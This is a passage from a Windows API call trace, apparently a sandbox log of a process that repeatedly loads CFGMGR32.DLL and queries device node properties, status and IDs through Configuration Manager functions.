lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0215.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0215.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0215.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0215.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0215.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0215.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0216.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0216.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0216.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0216.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0216.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0216.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0216.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0216.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0216.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0216.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0216.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0216.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0216.003] malloc (_Size=0x18) returned 0x196ef0d1de0 [0216.003] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0216.003] malloc (_Size=0x48) returned 0x196ef0fc120 [0216.003] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x619ac143, dwHighDateTime=0x1d9eb0c)) [0216.004] SetEvent (hEvent=0x248) returned 1 [0216.009] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0216.009] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0216.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0216.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0216.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0216.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0216.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0216.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0216.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0216.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0216.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0216.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0216.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0216.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0216.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0216.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0216.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0216.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0216.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0216.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0216.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0216.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0216.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0216.014] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0216.015] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0216.015] malloc (_Size=0x48) returned 0x196ef0fb770 [0216.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x619d1e68, dwHighDateTime=0x1d9eb0c)) [0216.016] SetEvent (hEvent=0x248) returned 1 [0216.025] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0216.026] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0216.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0216.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0216.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0216.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0216.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0216.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0216.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0216.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0216.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0216.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0216.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0216.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0216.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0216.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0216.030] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0216.030] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0216.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0216.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0216.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0216.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0216.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0216.191] malloc (_Size=0x18) returned 0x196ef0d20c0 [0216.191] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0216.193] malloc (_Size=0x48) returned 0x196ef0fb270 [0216.193] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x61b6b08e, dwHighDateTime=0x1d9eb0c)) [0216.194] SetEvent (hEvent=0x248) returned 1 [0216.198] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0216.198] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0216.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0216.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0216.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0216.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0216.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0216.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0216.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0216.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0216.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0216.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0216.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0216.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0216.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0216.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0216.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0216.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0216.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0216.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0216.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0216.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0216.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0216.203] malloc (_Size=0x18) returned 0x196ef0d1a20 [0216.203] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0xb, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0216.203] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0216.203] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x61b912d2, dwHighDateTime=0x1d9eb0c)) [0216.204] SetEvent (hEvent=0x248) returned 1 [0216.211] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0216.211] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0216.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0216.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0216.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0216.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0216.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0216.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0216.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0216.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0216.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0216.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0216.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0216.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0216.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0216.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0216.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0216.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0216.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0216.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0216.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0216.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0216.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0216.216] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0216.216] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0xb, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0216.216] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0216.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x61bb7706, dwHighDateTime=0x1d9eb0c)) [0216.216] SetEvent (hEvent=0x248) returned 1 [0216.221] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0216.221] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0216.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0216.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0216.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0216.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0216.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0216.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0216.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0216.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0216.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0216.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0216.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0216.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0216.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0216.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0216.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0216.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0216.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0216.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0216.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0216.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0216.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0216.225] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0216.225] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0216.225] malloc (_Size=0x48) returned 0x196ef0fb720 [0216.225] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x61bb7706, dwHighDateTime=0x1d9eb0c)) [0216.225] SetEvent (hEvent=0x248) returned 1 [0216.231] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0216.231] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0216.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0216.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0216.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0216.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0216.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0216.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0216.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0216.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0216.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0216.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0216.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0216.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0216.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0216.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0216.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0216.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0216.235] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0216.235] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0216.235] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0216.235] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0216.235] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0216.236] malloc (_Size=0x18) returned 0x196ef0d1e60 [0216.236] CM_Get_Device_IDA (in: dnDevInst=0xc, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0B00\\4&22F5829E&0") returned 0x0 [0216.236] malloc (_Size=0x48) returned 0x196ef0fb6d0 [0216.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x61bdda31, dwHighDateTime=0x1d9eb0c)) [0216.237] SetEvent (hEvent=0x248) returned 1 [0216.406] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0216.406] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0216.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0216.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0216.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0216.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0216.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0216.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0216.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0216.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0216.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0216.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0216.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0216.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0216.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0216.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0216.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0216.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0216.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0216.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0216.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0216.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0216.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0216.410] malloc (_Size=0x18) returned 0x196ef0d1d00 [0216.410] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0216.411] malloc (_Size=0x5a) returned 0x196ef0d0530 [0216.412] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0530, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0530, pulLength=0x67117d608) returned 0x0 [0216.412] free (_Block=0x196ef0d0530) [0216.413] malloc (_Size=0x48) returned 0x196ef0fc120 [0216.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x61d81657, dwHighDateTime=0x1d9eb0c)) [0216.413] SetEvent (hEvent=0x248) returned 1 [0216.418] malloc (_Size=0x18) returned 0x196ef0d1e60 [0216.418] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0216.418] free (_Block=0x196ef0d1e60) [0216.418] malloc (_Size=0x18) returned 0x196ef0d1c20 [0216.418] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0216.418] free (_Block=0x196ef0d1c20) [0216.418] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0216.419] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0216.419] free (_Block=0x196ef0d1bc0) [0216.419] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855860 [0216.419] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0216.419] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0216.419] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0216.419] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0216.419] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0216.419] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0216.419] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0216.420] 